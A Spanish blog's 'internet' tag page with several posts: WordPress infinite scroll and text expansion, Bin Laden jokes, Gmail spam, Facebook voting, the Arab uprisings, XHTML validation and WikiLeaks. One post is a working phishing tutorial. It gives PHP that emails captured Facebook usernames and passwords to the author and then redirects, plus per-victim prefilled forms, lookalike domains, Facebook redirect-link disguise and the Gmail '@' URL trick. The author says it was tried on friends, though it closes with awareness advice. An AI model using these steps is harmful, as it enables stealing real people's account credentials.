internet - Tienda de ultramarinos
logo Tienda de Ultramarinos
Etiquetas: internet

Ininite Scroll + Automatic Text Expander

Dos de los detalles en los que más me he esforzado y que más me gustan del nuevo diseño son que tenga scroll infinito, de modo que no hace falta clicar en página atrás para ver viejos posts (tanto en la página principal como en categorías), y que las entradas aparezcan contraídas con posibilidad de extenderse en el mismo lugar.

Activar el scroll infinito es muy fácil en WordPress utilizando el plugin Infinite Scroll, que funciona perfectamente y es sencillísimo de configurar. Únicamente hay que decirle bajo qué clases CSS están los posts y el link de navegación atrás. Nada más.

Por otro lado, para facilitar las cosas decidí que mostrar unos pocos párrafos sería lo ideal. Busqué y busqué, pero no fui capaz de encontrar nada que cortase los artículos con posibilidad de expandirlos. Creo que la única alternativa ahora mismo en WordPress es mandar que aprezca un extracto (the_excerpt()) en lugar de todo el contenido (the_content()), con el cuál eliges un número de caracteres que quieres que se muestren.

La función propia de wordpress parece ser bastante probre y hay muchos plugins mejorándola, evitando que corte palabras enteras, que corte etiquetas HTML, etc. Pero nada de esto hacía lo que yo quería, pues obliga al lector a abrir el post y cargar otra página (de lo cual algunos estarán encantadísimos porque les suma visitas; pero mi intención es que me lean, no hacerme pajas con las estadísticas de páginas visitadas).

De ese modo, terminé por bajarme Text Expander, un plugin que permite contraer ciertas partes de un post simplemente escribiendo entre corchetes EXPAND y /EXPAND rodeando al texto a ocultar. Parecía la solución… pero hubiera supuesto añadir a mano en cada una de todas las entradas del blog esas etiquetas, lo cual es una tarea titanica. Además de que si algún día decido cambiarlo supondría un esfuerzo equivalente.

Por eso terminé por empezar a cacharrear con el código del plugin para hacerme algo a la medida. Ahora, para cada entrada que se carga se cuentan los párrafos que tiene, y si son más de cinco, le digo que me añade el EXPAND entre el segundo y el tercero. En realidad no sólo tiene en cuenta párrafos, sino también listas, citas e imágenes. Parecía sencillo, pero la cosa se empezó a complicar cuando me di cuenta de que había que tener mucho cuidado con los párrafos dentro de un blockquote, o las sublistas dentro de listas (ul); de lo contrario, al perderse las etiquetas de cierre, se desestructuraba todo el blog. Creo que finalmente he sido capaz de solucionarlo, pero como puede haber alguna combinación que no haya tenido en cuenta os pediré que si en algún momento descubrís algún error me lo comuniquéis.

Otro problema que me costó identificar fue que las nuevas entradas obtenidas al deslizar la página hasta el final se cargaban expandidas, de modo que pensaba que no estaba aplicandose la conversión allí. Al final me di cuenta de que la contracción se aplicaba al cargar la página con una línea de Javascript, pero esto no funciona con las nuevas al estar ya “cerrada” la web. Afortunadamente Infinite Scroll incluye un apartado en su configuración que permite al usuario añadir código Javascript que se invoque una vez el nuevo contenido se carga, de modo que con tres o cuatro líneas solucioné el problema.

Creo que es algo bastante útil y que quizás más gente necesite algo así, de modo que he pensado que quizás podría darle un retoque y publicarlo como plug-in; aunque nunca lo he hecho así que no tengo ni idea de si es un proceso sencillo. ¿Alguien tiene experiencia en plugins de WordPress y puede darme un consejo?

Por cierto, pensé que sería interesante dejar la primera entrada de la página principal directamente extendida, pues al ser la última publicada será más probable que la gente entre a leer esa. ¿Os gusta así o la preferís contraída como el resto?

Phishing – ¿Sabías lo fácil que es hacer una página que robe tus datos?

Anoche unos amigos me comentaron sus infructuosos intentos por conseguir la contraseña del facebook de una amiga. Es una buena amiga, sólo lo quieren por diversión (para enviar solicitudes de amistad a usuarios filipinos) y para retarse a sí mismos. Sin pensarlo demasiado, les sugerí algo de phishing.

Entonces me dije ¿Por qué no intentar hacer mi propia página? (tranquilo, no hace nada malo, puedes acceder con datos falsos también) Es un tema interesante y, como todo, se aprende mucho cuando lo haces por ti mismo. Pensé que sería mucho más complicado, pero en una hora conseguí una página falsa de login que reenviaba usuario y contraseña a mi email, y redirigía a facebook.com. Todo sin saber apenas nada de PHP (lo poco de modificar alguna cosilla del blog), que he tenido que buscar hasta como concatenar cadenas. Y sin mirar ningún tipo de guía sobre cómo hacer una página de phishing. Una hora trabajando por mi cuenta.

Aunque mucha gente pueda saber lo que es el phishing, no se le da una importancia real porque todos pensamos que es mucho más complicado; sin embargo quiero demostrar aquí lo sencillísimo que es empezar a pescar datos, para concienciaros de que hay que tener un poco más de cuidado al introducir nuestras contraseñas en los links que seguimos. Lo he probado con éxito con algunos de mis amigos. Si no te interesan los detalles técnicos, sáltatelos y aprende a defenderte.

Gone Phishing Martha Stewart Chocolate Cupcakes

Primero – Enviar email con PHP

Supongamos que queremos recibir los datos que introduce el usuario por email. También se podrían ir almacenando en un fichero en nuestro servidor y luego consultarlo, pero para este caso me preferí utilizar el email. En PHP es sencillísimo, y en esta página explican todo. Con un fichero de seis líneas es suficiente, el primer ejemplo de todos.

Pero nosotros no queremos enviar siempre el mismo mensaje, queremos el usuario y contraseña, que en la página de login de facebook se envían como parámetros mediante POST bajo las variables email y pass. Así que escribimos:

$message = “Otro pardillo pone sus datos!:\n\n”. $_POST[“email”] . ” – ” . $_POST[“pass”];

En lugar de escribir en la misma página si el email fue enviado con éxito, lo que hacemos es redirigir a facebook.com (el usuario normalmente está ya logueado, por lo que no se dará cuenta de nada), por lo que escribimos al final del archivo:

header(“Location: http://www.facebook.com/”);

Completado. Luego podemos mejorarlo todo lo que queramos. Por ejemplo, mi fichero acepta un parámetro “newurl” que permite redirigir a cualquier otra web. Además, si el campo “pass” llega vacío, vuelve a la página anterior.

Finalmente, tenemos un fichero como este (haz clic para ver en tu navegador), listo para recibir los datos.

Segundo – Modificar login de Facebook

Ahora vamos al link de cualquier página de facebook sin estar logueados y nos saldrá la ventana de login y la guardamos como cualquier otra página.

Lo único que tenemos que hacer aquí, es buscar el formulario y cambiar la dirección a la que lo envía facebok, por la de nuestro fichero que envía emails, en mi caso action=”email.php”.

Y ya está. Ahora, subimos todo a un servidor, y cualquiera que acceda a nuestra página, verá una perfecta copia del login de Facebook, pero que nos enviará toda la información a nuestro email.

Tercero – Mejoras al login

Todo lo siguiente es un extra, con lo hecho hasta ahora ya es perfectamente funcional.

Por supuesto la página de login también puede mejorarse. Por ejemplo, personalizarla para cada víctima, haciendo que aparezca por defecto su email en la caja de texto. Esta información podemos pasarla con parámetros al enviarle nuestra dirección, de la forma:

http://loginfalso.php?name=fulanito&domain=gmail.com

Buscamos el input con id=email y añadimos la siguiente línea.

value=”<?php if($_GET[“name”]){echo ($_GET[“name”].”@”.$_GET[“domain”]);}?>”

También, puesto que el fichero email.php acepta un parámetro para cambiar la redirección, podemos configurarlo desde aquí, “http://loginfalso.php?name=fulanito&domain=gmail.com&newurl=www.otrapagina.com

cambiando el “action” del formulario por:

action=”<?php echo “email.php?newurl=”.$_GET[“newurl”]?>”

Desde luego, todo esto es muy descarado, así que se puede ofuscar añadiendo parámetros sin sentido, para hacer más larga la dirección. De hecho, el email se especifica en dos parámetros precisamente para esto. Se pueden poner todos los que se quieran y en cualquier orden.

Tampoco se va a fiar mucho alguien a quién le pases por chat un enlace a tu propio dominio, como tiendadeultramarinos.es, y cuando le salga el login de facebook le parecerá raro. Por eso, cuando alguien se toma en serio este tema, compra dominios con nombres parecidos al original. Por ejemplo, facebok, fecebook, facebooc, feisbuk.es… de modo que cuando entras al link no te fijas de que realmente es otra página.

Pero si alguna vez habéis copiado un vínculo desde Facebook, veréis que los envía a través de una página que redirige al vínculo. Algo como lo siguiente, envía a mi blog, pero cuando lo ves, parece que sea interno de Facebook.

https://www.facebook.com/l.php?u=http%3A%2F%2FDIRECCION&h=b70fc

https://www.facebook.com/l.php?u=http%3A%2F%2Fwww.tiendadeultramarinos.es&h=b70fc

Claro que, una vez accedido al link, la parte inicial de www.facebook.com desaparece: pero muchas veces el usuario no se fijará una vez esté dentro de la web, sólo en el momento de clicar el enlace.

Una última mejora sería bajarnos las páginas de login de distintos idiomas y modificarlas al gusto. Para gestionar todas sencillamente con la misma dirección, he creado un pequeño fichero PHP que redirige a las páginas de login de cada idioma en función de un parámetro lang. Más info y ejemplos de direcciones ofuscadas, en el fichero de redirección.

Cuarto – Lo mismo en Gmail

No os penséis que Google lo pone más difícil. He seguido el mismo proceso con idénticos resultados. Aquí la página falsa. Como no tenemos el truco de facebook de poner la dirección primero, tenemos que recurrir a otro modo para dar la sensación al ver el link de que es la página real de gmail. Esto lo explican muy bien en la wikipedia, y se hace sencillamente poniendo la dirección destino detrás de la arroba, así:

http://www.gmail.com@direccionfalsa

Finalmente – ¿Cómo me defiendo?

Como habéis visto es tremendamente sencillo hacer una página falsa para robar vuestras cuentas de acceso a cualquier servicio. Generalmente nadie se va a molestar en robaros la cuenta del Facebook, el objetivo real detrás del phishing es tener acceso a las cuentas de los bancos, así que es con lo que más cuidado hay que tener.

El principal consejo es, siempre, escribir vosotros mismos la dirección de la página en la que queréis loguearos. Nunca lo hagáis siguiendo vínculos. Primero iniciad sesión en una pestaña aparte, y luego volved al email y seguid el enlace que os han pasado, y si no es trampa no os pedirá que volváis a iniciar sesión.

La banca electrónica es segura, simplemente hay que ser cuidadoso a la hora de meter nuestros datos. Del mismo modo que no enviríais vuestra tarjeta de crédito con vuestro PIN en un sobre a una dirección desconocida, ni daríais vuestros datos a cualquiera que se presentase en casa o llamase por teléfono. En internet hay que seguir, exactamente, las mismas precauciones que en la vida real: sentido común.

El objetivo de la explicación en este post de cómo hacer la página es doble. Primero, llamar vuestra atención sobre el problema destacando la facilidad de crearlas. Segundo, entendiendo cómo puede atacaros vuestro “enemigo” tenéis más posibilidades de comprender cómo defenderos.

Para terminar, os dejo un par de guías en español para protegerse del phishing, más completas que las pinceladas que he dado yo: Vulneravility Team e  Internautas.

Todo este movimiento viral sobre la muerte de Bin Laden

¿A nadie más le sorprende la cantidad de coñas en todo el mundo que están saliendo sobre lo de Bin Laden toda la semana? Es para estudiarlo. No sólo en inglés o en español, tengo amigos de varias nacionalidades y lo estoy viendo en todos los idiomas.

No hay una, ni dos, que se hayan hecho especialmente famosas extendiéndose como la pólvora, parece casi como si cada uno tuviese que añadir la suya aprovechando la euforia colectiva. Dentro de un tiempo quizás se considere al concepto de hacer bromas sobre este tema como uno de los virales más grandes de internet.

No es el humor negro en sí lo que me llama la atención; soy un firme defensor del mismo en cualquier momento y lo uso a espuertas. Podría escribir una enciclopedia de chistes negros y me he estado descojonando con algunos twits de @GhostObama (otros están demasiado manidos).

Lo que me fascina es cómo está saliendo de todas partes. Un pensamiento generalizado del “todo vale” se ha extendido entre la población: gente que normalmente hubiera criticado cualquier chiste suave de paralíticos está publicando las sandeces más sórdidas.

Entendería hasta cierto punto esta excitación en la sociedad americana: la merecida venganza contra quién asesinó a casi 3000 compatriotas, el éxito final tras diez años de guerra, el cazador cazado, Obama dando el discurso de la victoria*, fundido a la bandera, God Bless America sonando y entran los créditos… ¿Pero en qué nos afecta al resto? Sí, medio mundo fue a Oriente Medio de la mano de USA o de la ONU, pero no era nuestra guerra ni nuestro terrorista (aunque hubiera matado a nuestros hermanos blancos); no para esta exaltación.

No lo critico, este tipo de reacciones suelen provocar un torrente de creatividad que no se ve todos los días y dará lugar a montajes y coñas que nos harán reir durante mucho tiempo; pero está funcionando de un modo distinto a otras ocasiones. Y está eclipsando todo lo demás.

Sin entrar en la chapucera comunicación de la operación sin pruebas que lo único que ha hecho es dar pábulo a todas las conspiranoías que ya se sabía que iban a salir o la difusión, como real, por todos los medios de un fotomontaje de hace dos años, que más de lo mismo. Tengo la triste sensación de que mientras de Vietnam todos recordamos a la niña huyendo del napalm, de estos diez años de guerra en Oriente Medio todo lo que recordaremos será que Bin Laden está con Bob Esponja, que lo llevaba Sergio Ramos, o que fue el campeón mundial del escondite.


* Quien diga que el discurso no es de película, miente.

«Buenas noches. Hoy puedo anunciar al pueblo americano y al mundo que US ha llevado a cabo una operación que ha matado a Osama Bin Laden, el lider de Al-Qaeda. Un terrorista responsable del asesinato de miles de hombres, mujeres y niños.

Fue hace casi 10 años, cuando un brillante día de septiembre fue ensombrecido por el peor ataque al pueblo americano en nuestra historia. Las imágenes del 9/11 están grabadas en nuestra memoria nacional, aviones secuestrados atravesando un cielo sin nubes de septiembre, las torres gemelas colapsando contra el suelo, humo negro saliendo del Pentágono. […]

Y ahora sabemos que las peores imágenes son las que no se vieron en el mundo… el asiento vacío en la mesa de la cena, niños obligados a crecer sin sus madres o sus padres, padres que nunca sentirán el abrazo de sus hijos. Nos quitaron a cerca de 3000 ciudadanos, dejando un profundo hueco en nuestros corazones.»

Filtro de spam en Gmail

Los que me conocieron en los primeros tiempos de gmail recordarán que escrutaba casi con obsesión la lista de spam, con la constante duda de que pudieran colarse mensajes reales. Tras comprobar la sobrada eficiencia del filtro, pasó de ser algo habitual a una breve comprobación cada largo periodo.

Hoy, sorprendido ante su reducido volumen (240 emails durante el último mes, cuando habitualmente superan el millar*) he decidido echarle un vistazo y he encontrado nada menos que cinco mensajes erróneamente clasificados como spam.

Además, durante los últimos meses se están colando en bandeja de entrada varios emails de spam procedentes de un par de amigos con cuentas “infectadas”. Está tan claro que son spam que no necesito ni abrirlos para darme cuenta de ello. Supongo que superan el filtro al estar en mi libreta de direcciones, por lo que acabo de eliminarlos de la misma, a ver si así dejan de llegar.

¿Soy solo yo, o alguien más ha notado una merma en la eficiencia del filtro de spam?

*No sé si las últimas semanas habrán desmontado alguna botnet de spam de esas que suponen un importante porcentaje del flujo mundial, pero me resulta muy extraño ver la cuarta parte de lo habitual.

Votar las elecciones en Facebook

No, el voto electrónico todavía no significa que las elecciones se harán en Facebook, pero poco le falta. Parece ser que una de las últimas actualizaciones de la red social (debe de ser relativamente reciente porque no he visto nada referenciado en blogs españoles) consiste en preguntar a todos los usuarios de un país en elecciones se han ido a votar.

Me parece curioso y extraño. ¿Triunfará? ¿Estará la gente dispuesta a reconocer que vota a esa panda de ladrones que son todos los políticos? En estos momentos, son las 12 del mediodía (la misma hora en Canarias) y 35 000 usuarios han confirmado su voto (entre ellos yo a pesar de no haber votado). ¿Eso son muchos o pocos?

Hay aproximadamente 4,5 millones de habitantes en la República de Irlanda. De los cuales 850 mil son menores de 14, por lo que digamos que hay 3,5 millones en edad de votar. Según RTE, a estas horas más o menos ha votado el 10% de la población, lo cual nos da 350 000 votos.

El año pasado había 1,6 millones de usuarios activos en Facebook Irlanda. Los menores de 18 suponen un 15% de los usuarios de USA, pero supondremos que el porcentaje es similar aquí. Eso nos deja un 85% de usuarios en edad de votar, es decir, 1,3 millones. Si ha votado el 10% de la ciudadanía, 130 000 de los usuarios de Facebook deberían haber votado.

130 000 está lejos de los 35 000 contabilizados hasta ahora. Pero pensemos que por la mañana sólo vota la gente mayor, con mucha menos presencia en Facebook, y que además es día laboral. También habrá votos falsos, como el mío o de media docena más de otros Erasmus que he visto que ya han pulsado votar.

No sé cómo terminará el día porque me voy a Dublín dentro de una hora, pero hasta el momento, suponiendo que sean votos reales, y que las cifras de mi estimación sean correctas, no me parece una diferencia tan grande con la realidad como había pensado en un principio.

¿Será lo siguiente preguntar a quién se ha votado o hacer encuestas de intención de voto? ¿Se harán los sondeos electorales el día de la votación en Facebook en lugar de a pie de urna? ¿Se terminarán haciendo las elecciones en Facebook?

Ya me contaréis en un mes o dos, cuando sean en España, si también aparece y qué acogida tiene.

Internet en la revolución democrática árabe

Es innegable el enorme impacto que internet, desde su masificación, está teniendo en todos los aspectos de la vida. Podría afirmarse, sin miedo, que no hay un solo campo que no haya revolucionado: sexo, publicación de noticias, comunicación, intercambio de conocimientos, innovación… y revoluciones. El papel de internet Las revueltas de estos días en países árabes, y la actitud de los gobiernos al respecto, me han parecido muy interesantes. He aquí algunos de los puntos más llamativos:

—Las manifestaciones del 25 de enero en Egipto se organizaron principalmente por Facebook y Twiter (también en el resto de países, léase ¿Existen las twitterrevoluciones?). Durante ellas, los propios manifestantes fueron informando en internet sobre cómo se sucedían, llegando a colgar videos sobre las mismas y sobre las cargas policiales. (nacion.com)

A raíz de ello, el gobierno bloqueó Twitter en Egipto (alt1040), pero fue insuficiente. Al día siguiente desconectaron internet en todo el país(El País) y bloquearon la telefonía móvil en las principales ciudades (Público), principalmente los sms.

WikiLeaks no podía faltar en este listado. Muchos medios se han hecho eco de que los cables diplomáticos filtrados a finales del año pasado dejaban en muy mal lugar al gobierno tunecino, destacando la corrupción del gobierno y comparando a su familia con una máfia de élite (El País, MailOnline), afirmando que si bien el detonante final fue la inmolación de Mohamed Bouazizi, las filtraciones habían aumentado el malestar contra el gobierno.

Egipto tampoco ha escapado de WikiLeaks (quince cables de noviembre/diciembre) y de hecho se han apresurado a publicar nuevas filtraciones muy jugosas durante los levantamientos (el 28 de enero). Por ejemplo, los planes de sucesión, en los que las fuerzas armadas apoyarían a Gamal Mubarak, el hijo del actual presidente, de modo que los militares garantizaran una “transición constitucional”. Más detalles en Wikileaks, con links a todos los cables sobre el tema. Otras filtraciones interesantes atañen a las torturas y brutalidad policial del régimen, y su abuso del Estado de Emergencia que lleva declarado cuarenta años. (Todas las filtraciones de El Cairo).

—En la otra punta del globo, es el gobierno chino quién se acojona y decide bloquear en sus fronteras cualquier información sobre las revueltas en Egipto (GurusBlog), no vaya a ser que sus ciudadanos se den cuenta de que es posible rebelarse ante las dictaduras.

—Pese a que se esté hablando de revolución democrática totalmente alejada del islamismo radical, Egipto también ha bloqueado el canal de noticias Al-Jazeera (CPJ.org) e Israel apoya al presidente Mubarak (El País) pidiendo a Europa y Estados Unidos que expresen también su apoyo.

Al hilo de lo anterior, ayer regresó a Túnez Rachid Ghanuchi, un líder islamista que llevaba 22 años en el exilio (El País) , y al que recibieron miles de entusiastas gritando “El pueblo musulmán no se rinde” entre los que había numerosas mujeres con el hiyab (perseguido en los últimos años por las autoridades). Mientras, una veintena apartada mostraba su inquietud con pancartas en las que se podía leer “Sí al islam, no al islamismo“. Veo que también se hacen la misma pregunta que yo en otros espacios: What’s behind the Egypt riots? Democracy or Islam?.

—Para terminar con este peliagudo último punto debo volver a WikiLeaks, y mencionar unas filtraciones que creo que aparecieron a finales de diciembre y principios de enero, en las que se desvela la cooperación de Egipto en los asaltos con Israel a la franja de Gaza.

Validación XHTML para WordPress

Si los estándares están para algo es para respetarlos. En la informática, donde cada cosa puede ser de su padre y de su madre (y generalmente lo son) el uso de estándares tiende a facilitar mucho las cosas, especialmente la compatibilidad. Que todavía sea necesario llenar las páginas webs de scripts detectando el navegador para utilizar un código u otro tendría que darnos vergüenza.

Y no sólo en la informática, los estándares facilitan la vida allá dónde van. Los tamaños de las camas son estándar: o son de 80, o son de 90, pero no vas a tener camas de 85; lo cual ayuda mucho al comprar sábanas y demás. El formato de etiquetado de las camisetas o zapatos es estándar: una M siempre es más pequeña que una L, y un 38 es más pequeño que un 42. Sin embargo no es estándar la medida de las mismas, por lo que dependiendo de la marca L y XL tienen tamaños completamente diferentes. Eso significa que en mi armario hay camisetas de varios tallajes, y cuando compras por internet tienes que buscar las especificaciones del fabricante de ese modelo y comparar con las de casa.

Otra cosa que no es estándar son los cargadores de los móviles, por lo que siempre has de andar con el tuyo a cuestas y ningún amigo puede dejarte el suyo, incluso de la misma marca. Sí, Nokia siempre ha seguido una muy buena política al respecto, hasta que los redujeron de tamaño hace poco y vuelta a empezar. Las tarjetas de crédito y los carnéts son estándar, y por eso todos caben perfectamente en tu cartera.

En internet, la organización encargada de la adopción de estándares es el World Wide Web Consortium (W3C), dirigido por Tim Berners-Lee, el padre de la web. El W3C se compone de un amplio número de expertos que velan por la compatibilidad de todos los estándares y por conseguir un consenso con la industria para que los navegadores y herramientas soporten un núcleo básico de funcionalidades con el que poder hacer cosas sin volverse loco por saber si lo que has hecho se verá igual en todas partes.

Como muchos saben y habrán cacharreado en algún momento de sus vidas, la base de las páginas web es el lenguaje HTML. Otro metalenguaje de marcado que puede parecer muy similar es XML, utilizado para organizar y etiquetar documentos de texto, funcionando mediante etiquetas de la misma forma que HTML. No puede considerarse un lenguaje directamente porque en realidad sólo consta de un conjunto de directrices y especificaciones sobre cómo utilizarse, por lo que cada uno puede utilizar las etiquetas y valores que le vengan en gana. Simplemente tiene que respetar la estructura y formato de XML. Este formato es muy práctico para procesar cualquier tipo de información con un ordenador y es ampliamente utilizado en múltiples áreas.

Como decía, HTML y XML son muy similares, pero el primero no respeta todas las especificaciones del segundo, por lo que se inventó XHTML, que es básicamente un fichero HTML con la estructura que dicta XML. Una de las principales características es que todas las etiquetas deben ser correctamente cerradas, cosa que no era necesaria con HTML, o la prohibición de anidar ciertas etiquetas en otras.

De XHTML 1.0 existen diferentes versiones, cada una más laxa que la anterior con respecto a las normas. Son Strict, Transitional y Frameset. Luego se creó XHTML 1.1, que es XHTML 1.0 Strict con alguna cosa más. La versión 2.0 lleva 10 años de borradores. Para saber si tu página cumple los estándares, W3C ofrece su validador.

Una de las principales motivaciones de la W3C detrás de todos estos estándares es separar la definición de la estructura de una página de la información mostrada por la misma. Un buen aliado para ello han sido las hojas de estilos CSS, una poderosa herramienta para definir el diseño de tu web, y que ha desplazado por completo a las famosas “tablas” tan utilizadas en los 90. En aquellos tiempos, si querías colocar varios elementos en distintos puntos tenías que llenar la página de tablas invisibles con infinitas filas y columnas para cada situación. Con CSS todo es un mundo maravilloso de orden y funcionalidad.

Afortunadamente, con el nuevo diseño he tenido bastante suerte y seguía los estándares bastante bien, salvo por algunas etiquetas mal cerradas aquí o haya, que incluso puede que hayan sido fallo mío con las modificaciones.

Otro pequeño problema ha venido con el plugin oficial de Statcounter, que te introduce tres líneas en el blog. Utiliza target=”_blank” en el vínculo (abrir en ventana nueva) lo cual está desaconsejado por el W3C. También olvidan cerrar la etiqueta de la imagen. Tienen los comentarios cerrados, por lo que he dejado nota en el repositorio de plugins de WordPress. Para arreglarlo tienes que ir al editor de plugins de tu WordPress y hacer los cambios en el fichero php. En mi caso es la línea 288.

Un problema “peor” viene con las galerías de imágenes que WordPress te permite insertar en las entradas. Casualmente ayer utilicé por primera vez la opción de galería para mostrar el viejo diseño; esto es básicamente como publicar un álbum de fotos de forma automática, sin necesidad de insertar las imágenes una a una. Si no llego a utilizarlo ni me hubiese dado cuenta.

Resulta que al insertar la galería puedes seleccionar varias opciones, con lo que dependiendo de cada una tendrá distintos formatos. Estos formatos están definidos por un CSS que se copia en el cuerpo de la entrada. Esto está tremendamente mal, porque a fin de cuentas estás mezclando la definición con el contenido. HTML está dividido en dos secciones: cabecera y cuerpo, head y body. Lo correcto es que en la cabecera estén todas las definiciones y en el cuerpo la información.

Realmente las CSS suelen estar en un fichero aparte, el cual indicas en la cabecera. Esto te permite utilizar la misma definición en cualquier página sin tener que copiar las definiciones en cada una, pero para cosas puntuales como ésta, es correcto ponerlas simplemente en la cabecera.

Tras barajar varias posibles soluciones a mano, me he decantado por googlear… y efectivamente es un problema que había inquietado a muchos otros antes. Está publicado desde hace trece meses en el trac de WordPress, pero no se se implementarán soluciones en la próxima versión. (Trac es una herramienta utilizada para la gestión de errores en un proyecto). Mientras tanto, se han publicado varios plugins solucionándolo (están enlazados en los comentarios del trac). Yo he instalado Cleaner WordPress Gallery, que simplemente crea un fichero CSS aparte y lo enlaza en la cabecera.

Así pues, finalmente he conseguido superar satisfactoriamente el test de XHTML 1.1.

WikiLeaks

WikiLeaks es una organización sin ánimo de lucro que lleva en activo desde principios de 2007, pero hasta este año no se ha hecho realmente famosa. Su objetivo es facilitar la publicación de documentos e información secreta denunciando malas prácticas de compañías y gobiernos, ofreciendo el completo anonimato a quienes filtren. Sólo con unas instituciones transparentes se puede evitar la corrupción. Dispones de toda la información necesaria en su web (la traducción al español es un poco zaborrera, y desactualizada).

Aunque su cabeza visible sea el australiano Julian Assange, WikiLeaks surgió como un proyecto de colaboración entre disidentes chinos, expatriados rusos y otros activistas alrededor del mundo (22 al comienzo), principalmente para denunciar malas prácticas de gobiernos totalitarios. Como estos gobiernos están distribuidos por África y Asia, no han tenido excesiva repercusión por aquí hasta que no han publicado las últimas filtraciones sobre la guerra de Afghanistan.

En realidad han revelado información sobre occidente desde sus comienzos, pero no recuerdo que en ningún caso se nombrase de forma tan seguida y sonada a la organización (al menos en España). Cuando alguien accedió a la cuenta de Yahoo de Sarah Palin durante las elecciones, fue aquí dónde se publicaron algunos de los emails. Los correos entre científicos del cambio climático en los que supuestamente afirmaban modificar los datos fuero publicados en WikiLeaks. También procedimientos oficiales de tortura en Guantánamo donde especifican cómo propinar todo tipo de golpes a los presos y otras técnicas, reglas de combate en Iraq, incluso corrupción dentro de un importante banco islandés justo antes de la crisis y que catapultó a Julian Assange a la fama en ese país. En la Wikipedia inglesa se detallan varias de estas tramas.

En abril de 2010 publicaron una grabación desde un helicóptero Apache del ejército norteamericano en el que asesinaban a un grupo de ocho personas hablando en la calle en el que se encontraban dos reporteros de Reuters. En la grabación se escucha que hay cinco o seis hombres armados. Dos o tres de ellos pueden verse con AK-47. Los otros dos con cámaras fotográficas. Más tarde llega una furgoneta con cuatro más para llevarse los heridos y también son todos abatidos a tiros. Finalmente llegan unidades del ejército para limpiar la masacre (que suma una veintena de muertos) y las acompaña un tanque que pasa por encima de uno de los cuerpos —imagino que por error— y puede escucharse al piloto descojonarse (minuto 12:45). En el informe oficial sobre el ataque que se comunicó a la prensa no se mencionó que hubiese dos niños y se afirmó que no se tenía muy claro cómo habían terminado muriendo dos reporteros de Reuters en mitad de una confrontación. A pesar de que confrontación significa enfrentamiento entre dos partes, el único interés que parece mostrar el grupo por el helicóptero en algún momento es cuando el fotógrafo parece intentar capturar al helicóptero y su tripulación cree que están siendo apuntados por un RPG.
Pese a ser un video en blanco y negro grabado desde el helicóptero se ve cómo caen al suelo al recibir los disparos, cómo corren y son abatidos los supervivientes, y cómo se arrastra más tarde un herido.

Finalmente, y lo que ha terminado de convertir a WikiLeaks en un enemigo mucho más odiado por los poderes públicos estadounidenses ha sido la publicación de 90 000 informes resumiendo actividades de los militares desplegados en Afghanistan (lee sí o sí para enterarte de muchas cosas que no menciono). Muchas son enfrentamientos rutinarios que demuestran la miseria de la guerra, de todas las guerras, pero también hay auténticas barbaridades que podrían llenar libros de guerra sucia y terrorismo. Como el bombardeo por venganza de un pueblo mientras se celebraba una boda civil o las unidades secretas (Task Force 373) con órdenes de ejecutar a líderes talibanes para evitar que simplemente sean juzgados.

Entre todos estos informes, hay tres referidos a tropas españolas, dos de los cuales son perfectamente normales (uno y dos): un motorista en dirección a los soldados al que se le hacen todas las señales posibles para que se detenga —existe un protocolo muy específico al respecto— y al final es abatido a escasos metros del convoy. El tercero es más controvertido porque al haber un superviviente existen dos versiones de lo sucedido.

La maniobra de publicación ha sido perfecta: algunos días antes de hacerlo público, cedieron los datos en exclusiva a tres de los principales periódicos del mundo (New York Times, The Guardian y De Spiegel). Así tuvieron ya los datos formateados y los artículos escritos para el día en que se hizo público a nivel mundial (el pasado 26). La propia WikiLeaks ha alojado casi todos los informes en una web al efecto donde pueden consultarse filtrándolos por diferentes categorías (fechas, región, bando implicado, tipo de acción…).

Resulta curioso echar un vistazo a algunos informes, aunque sólo sea por ver cómo están escritos (con una ingente cantidad de vocabulario técnico y siglas). En la página principal indican incluso una guía de lectura para aclararse mejor. Encontrar hechos destacables es una tarea ardua y van desvelándolos los periodistas profesionales que llevan varios días buceando entre la información en busca de cosas interesantes que contar.

En el archivo de WikiLeaks, en sus propias palabras, «muestra la amplia gama de pequeñas tragedias que casi nunca publica la prensa, pero que suma la inmensa mayoría de muertos y heridos en la guerra». Por peticiones de su fuente, sólo han publicado 75 000 documentos, pues el resto podrían poner en riesgo la seguridad de las unidades desplegadas. Hay que destacar que los informes abarcan de 2004 a 2009, por lo que no hay informaciones de los últimos siete meses. También han eliminado nombres personales y otras informaciones de riesgo.

Por supuesto la polémica no ha tardado en llegar, y no sólo desde el Pentágono acusando a WikiLeaks de irresponsables y criminales. No faltan los amigos de las conspiraciones para afirmar que la filtración es una maniobra del Gobierno o el Ejército para justificar el envío de nuevas tropas, o indicando que es una estratagema de la Casa Blanca «para para tener la cobertura de la Opinión Pública y salirse de Afganistán».

Lo que sí es cierto es que WikiLeaks publico en marzo de 2010 un análisis de la CIA con indicaciones sobre cómo ganarse el apoyo popular en Francia y Alemania ante una posible retirada de sus tropas en Afghanistan. A los franceses les toca la fibra sensible los refugiados afganos y las mujeres; mientras que a los alemanes les preocupan las consecuencias de la derrota (drogas, más refugiados, terrorismo) como mantenerse con la OTAN. Seguro que es curioso de ver, pero no puedo descargarlo ahora mismo.

En el ojo del huracán también ha quedado Pakistán, pues en algunos de esos informes aparece como colaborador de terroristas talibanes, bien dándoles refugio, bien subvencionándolos para asesinar indios en Afganistán y cometer atentados. Esto, que no es tan llamativo con otros países como Corea del Norte, Argelia o Irán, resulta inquietante en Pakistán dado que de cara a la galería mantiene una estrecha relación con EE. UU., recibiendo millonarias subvenciones anuales para la reconstrucción del país.

Para terminar y ahondar más en la figura de Julian Assange y WikiLeaks, recomiendo la entrevista realizada la semana pasada en las últimas TED Talks. Ayer todavía estaba en inglés, pero hoy ya está subtitulada en castellano. Hablan muchos temas, como la dificultad que tienen para crecer pues al trabajar con material tan delicado no pueden contratar a cualquiera para revisarlo. Respecto a crecimiento, comparten el de cualquier start-up: de repente todo el mundo se ha interesado por ellos y el servidor no da de sí. Nombran un informe de corrupción política Kenia que al ser publicado en WikiLeaks se estima que modificó la intención de voto en un 10%, cambiando el rumbo de las elecciones. Hablan del banco islandés que mencioné más arriba y cómo han creado recientemente en Islandia la legislación más fuerte del mundo de libertad de prensa, convirtiendo al país en un puerto franco de la libertad de expresión.

¿Es WikiLeaks el salvador de la decadencia de la época actual? ¿Es Julian Assange un nuevo héroe para el pueblo?

Enlaces fundamentales de esta entrada:
WikiLeaks / Afganistán. La guerra al descubierto, en NacionRed
Diaros de la guerra de Afghanistan, en WikiLeak
Información general sobre WikiLeak